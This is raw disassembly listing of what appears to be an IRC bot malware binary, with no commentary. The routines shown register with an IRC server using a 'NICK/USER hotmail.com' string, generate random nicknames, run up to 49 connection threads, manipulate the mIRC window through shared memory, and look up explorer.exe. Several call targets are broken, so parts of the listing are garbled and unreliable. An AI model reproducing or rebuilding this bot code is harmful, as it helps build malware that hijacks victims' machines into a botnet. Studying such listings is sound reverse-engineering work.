		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4178B3

loc_417858:				; CODE XREF: sub_4177CF+76j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_417ADD
		add	esp, 10h
		lea	eax, [ebp+var_420]
		push	eax
		push	offset dword_4387A4

loc_417885:				; CODE XREF: sub_4177CF+66j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4

loc_4178B3:				; CODE XREF: sub_4177CF+87j
		xor	eax, eax

loc_4178B5:				; CODE XREF: sub_4177CF+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4177CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4178BA	proc near		; DATA XREF: sub_417A5F+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4D4014[esi]
		mov	dword_4D4008[esi], edi
		push	dword_4D4214[esi]
		push	eax
		call	sub_417702
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D400C[esi], eax
		jb	loc_417A3F
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417ADD
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_417ADD
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_417ADD
		add	esp, 18h
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D400C[esi]
		call	dword_4CAFC4
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch

loc_417996:				; CODE XREF: sub_4178BA+111j
					; sub_4178BA+180j
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D400C[esi]
		call	dword_4CAF8C
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417A3F
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_417996

loc_4179CD:				; CODE XREF: sub_4178BA+17Ej
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_4179F4
		cmp	al, 0Ah
		jz	short loc_4179F4
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_4179F4
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417A2E
; ---------------------------------------------------------------------------

loc_4179F4:				; CODE XREF: sub_4178BA+11Cj
					; sub_4178BA+120j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417A2E
		push	dword_4D400C[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_4177CF
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417A3F
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx

loc_417A2E:				; CODE XREF: sub_4178BA+138j
					; sub_4178BA+13Fj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_4179CD
		jmp	loc_417996
; ---------------------------------------------------------------------------

loc_417A3F:				; CODE XREF: sub_4178BA+40j
					; sub_4178BA+107j ...
		mov	dword_4D4008[esi], ebx
		mov	esi, dword_4D400C[esi]
		cmp	esi, ebx
		jbe	short loc_417A56
		push	esi
		call	dword_4CB00C

loc_417A56:				; CODE XREF: sub_4178BA+193j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_4178BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417A5F	proc near		; CODE XREF: sub_401ACD+31E1p

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_417AD8

loc_417A71:				; CODE XREF: sub_417A5F+77j
		xor	edi, edi
		mov	eax, offset dword_4D4008

loc_417A78:				; CODE XREF: sub_417A5F+28j
		cmp	[eax], ebx
		jz	short loc_417A89
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4DA728
		jl	short loc_417A78

loc_417A89:				; CODE XREF: sub_417A5F+1Bj
		cmp	edi, 31h
		jz	short loc_417AD8
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D4014[esi]
		push	eax
		call	sub_41BEB0
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D4214[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D4008[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_4178BA
		push	ebx
		push	ebx
		nop
		call	near ptr 26900B1h
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417A71

loc_417AD8:				; CODE XREF: sub_417A5F+10j
					; sub_417A5F+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417A5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417ADD	proc near		; CODE XREF: sub_401ACD+374Dp
					; sub_401ACD+3793p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		call	sub_41B8E2
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4276F8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417B27
		call	sub_41B8E2
		call	sub_41B8E2
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_437EF0[edx*4]
		jmp	short loc_417B40
; ---------------------------------------------------------------------------

loc_417B27:				; CODE XREF: sub_417ADD+2Fj
		call	sub_41B8E2
		call	sub_41B8E2
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_437BF0[edx*4]

loc_417B40:				; CODE XREF: sub_417ADD+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41BEB0
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276F0
		call	sub_41C798
		mov	ebx, eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_417BB3
		cmp	esi, 3
		jnz	short loc_417BAA
		cmp	ebx, 1
		jz	short loc_417BB3

loc_417BAA:				; CODE XREF: sub_417ADD+C6j
		cmp	eax, 1
		jnz	loc_417C6D

loc_417BB3:				; CODE XREF: sub_417ADD+C1j
					; sub_417ADD+CBj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276E0
		call	sub_41C798
		push	off_437EF0[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41BEB0
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41BFB0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_417C5A
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417C5A
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417C5A
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al

loc_417C5A:				; CODE XREF: sub_417ADD+111j
					; sub_417ADD+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C1E0
		add	esp, 0Ch

loc_417C6D:				; CODE XREF: sub_417ADD+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41AFE0
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41D648
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417ED5
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417DCC
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417CDB
		cmp	eax, 1
		jnz	loc_417DCC

loc_417CDB:				; CODE XREF: sub_417ADD+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_417D1D
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_417D39
; ---------------------------------------------------------------------------

loc_417D1D:				; CODE XREF: sub_417ADD+207j
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl

loc_417D39:				; CODE XREF: sub_417ADD+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417D62
		cmp	eax, ebx
		jnz	short loc_417DCC

loc_417D62:				; CODE XREF: sub_417ADD+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_417DA7
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_417DC5
; ---------------------------------------------------------------------------

loc_417DA7:				; CODE XREF: sub_417ADD+28Fj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl

loc_417DC5:				; CODE XREF: sub_417ADD+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi

loc_417DCC:				; CODE XREF: sub_417ADD+1C9j
					; sub_417ADD+1F8j ...
		cmp	esi, 6
		jge	loc_417E55
		cmp	esi, 5
		jge	short loc_417DED
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276F0
		jmp	short loc_417E0B
; ---------------------------------------------------------------------------

loc_417DED:				; CODE XREF: sub_417ADD+2FBj
		call	sub_41B8E2
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8

loc_417E0B:				; CODE XREF: sub_417ADD+30Ej
		call	sub_41C798
		test	eax, eax
		jnz	short loc_417E2E
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		mov	cl, 30h
		jmp	short loc_417E4B
; ---------------------------------------------------------------------------

loc_417E2E:				; CODE XREF: sub_417ADD+335j
		cmp	eax, 1
		jnz	short loc_417E55
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h

loc_417E4B:				; CODE XREF: sub_417ADD+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi

loc_417E55:				; CODE XREF: sub_417ADD+2F2j
					; sub_417ADD+354j
		cmp	[ebp+var_C], 2
		jge	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED5
		cmp	[ebp+var_C], eax
		jge	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl

loc_417ED5:				; CODE XREF: sub_417ADD+1B1j
					; sub_417ADD+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EEE	proc near		; CODE XREF: sub_401ACD+BEBp
					; sub_401ACD+C28p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_417F79
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_417F79
		cmp	[ebp+arg_8], esi
		jz	short loc_417F79
		cmp	byte ptr [eax],	0
		jz	short loc_417F79
		push	ebx
		push	edi
		call	sub_426464
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_417F74
		push	[ebp+arg_4]
		push	edi
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_417F6D
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41B5F0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41AFE0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41C1E0
		push	[ebp+arg_4]
		call	sub_41AFE0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41BEC0
		push	ebx
		push	edi
		call	sub_41BEB0
		add	esp, 30h
		mov	esi, edi

loc_417F6D:				; CODE XREF: sub_417EEE+3Cj
		push	ebx
		call	sub_41B0B1
		pop	ecx

loc_417F74:				; CODE XREF: sub_417EEE+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_417F7B
; ---------------------------------------------------------------------------

loc_417F79:				; CODE XREF: sub_417EEE+Cj
					; sub_417EEE+13j ...
		xor	eax, eax

loc_417F7B:				; CODE XREF: sub_417EEE+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_417EEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F7F	proc near		; CODE XREF: sub_401955+E9p
					; ___:004102F0p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41B590
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41AFE0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_417FB5
		or	eax, 0FFFFFFFFh
		jmp	short loc_418028
; ---------------------------------------------------------------------------

loc_417FB5:				; CODE XREF: sub_417F7F+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_417FD7

loc_417FC1:				; CODE XREF: sub_417F7F+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_417FCE
		cmp	dl, 0Dh
		jnz	short loc_417FD2

loc_417FCE:				; CODE XREF: sub_417F7F+48j
		and	byte ptr [ecx+esi], 0

loc_417FD2:				; CODE XREF: sub_417F7F+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_417FC1

loc_417FD7:				; CODE XREF: sub_417F7F+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_418008
		lea	edi, [ebp+var_7CC]

loc_417FE4:				; CODE XREF: sub_417F7F+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_418003
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_418003
		cmp	ebx, 1F4h
		jge	short loc_418008
		mov	[edi], ecx
		inc	ebx
		add	edi, 4

loc_418003:				; CODE XREF: sub_417F7F+69j
					; sub_417F7F+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_417FE4

loc_418008:				; CODE XREF: sub_417F7F+5Dj
					; sub_417F7F+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_418026
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_41C310
		add	esp, 0Ch

loc_418026:				; CODE XREF: sub_417F7F+8Ej
		mov	eax, ebx

loc_418028:				; CODE XREF: sub_417F7F+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_417F7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41802C	proc near		; CODE XREF: sub_418086+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_418065
		push	ebx
		mov	ebx, edi

loc_418049:				; CODE XREF: sub_41802C+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_418068
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_418049
		pop	ebx

loc_418065:				; CODE XREF: sub_41802C+18j
		pop	edi
		pop	esi
		retn
sub_41802C	endp


; =============== S U B	R O U T	I N E =======================================



sub_418068	proc near		; CODE XREF: sub_41802C+25p
					; sub_418086+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41D74C
		cmp	al, 61h
		pop	ecx
		jl	short loc_418083
		cmp	al, 7Ah
		jg	short loc_418083
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------

loc_418083:				; CODE XREF: sub_418068+Ej
					; sub_418068+12j
		xor	eax, eax
		retn
sub_418068	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418086	proc near		; CODE XREF: ___:0041532Dp

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41AFE0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_41802C
		add	esp, 14h
		dec	esi
		mov	edi, esi

loc_4180C4:				; CODE XREF: sub_418086+B6j
		test	esi, esi
		jle	short loc_418142
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41D74C
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41813A

loc_4180EA:				; CODE XREF: sub_418086+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_418068
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_41810B
		mov	eax, ecx

loc_41810B:				; CODE XREF: sub_418086+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_41813E
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41D74C
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_4180EA

loc_41813A:				; CODE XREF: sub_418086+62j
		dec	edi
		dec	esi
		jmp	short loc_4180C4
; ---------------------------------------------------------------------------

loc_41813E:				; CODE XREF: sub_418086+8Aj
		xor	eax, eax
		jmp	short loc_418147
; ---------------------------------------------------------------------------

loc_418142:				; CODE XREF: sub_418086+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi

loc_418147:				; CODE XREF: sub_418086+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418086	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41814C	proc near		; CODE XREF: sub_401ACD+67A3p
					; sub_401ACD+789Ep

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		nop
		call	near ptr 2690800h
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	near ptr 27F0000h
		nop
		lea	eax, [ebp+var_100]

loc_418185:				; CODE XREF: sub_41814C+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_418191
		cmp	cl, 9
		jnz	short loc_418194

loc_418191:				; CODE XREF: sub_41814C+3Ej
		inc	eax
		jmp	short loc_418185
; ---------------------------------------------------------------------------

loc_418194:				; CODE XREF: sub_41814C+43j
					; sub_41814C+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4181AE
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_418194
		cmp	cl, 21h
		jl	short loc_418194

loc_4181AE:				; CODE XREF: sub_41814C+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DA72C
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41814C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181D6	proc near		; CODE XREF: sub_401ACD+24CAp
		push	esi
		push	0
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_41820D
		push	1
		call	dword_4CAF64
		mov	esi, eax
		test	esi, esi
		jz	short loc_41820D
		push	edi
		push	esi
		nop
		call	near ptr 2800681h
		push	esi
		mov	edi, eax
		nop
		call	near ptr 2800000h
		call	dword_4CAFC8
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41820D:				; CODE XREF: sub_4181D6+Bj
					; sub_4181D6+19j
		xor	eax, eax
		pop	esi
		retn
sub_4181D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_418211	proc near		; CODE XREF: sub_401ACD+7661p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4CAF80
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_41828D
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		nop
		call	near ptr 2810208h
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	near ptr 2810000h
		nop
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4CAFD0
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4CAFD0
		push	ebx
		call	near ptr 2800C57h
		nop
		push	edi
		nop
		call	near ptr 2670999h
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_41828F
; ---------------------------------------------------------------------------

loc_41828D:				; CODE XREF: sub_418211+16j
		xor	eax, eax

loc_41828F:				; CODE XREF: sub_418211+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418211	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418293	proc near		; CODE XREF: ___:00401433p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4CB030
		test	eax, eax
		jz	short loc_418332
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4270EC
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
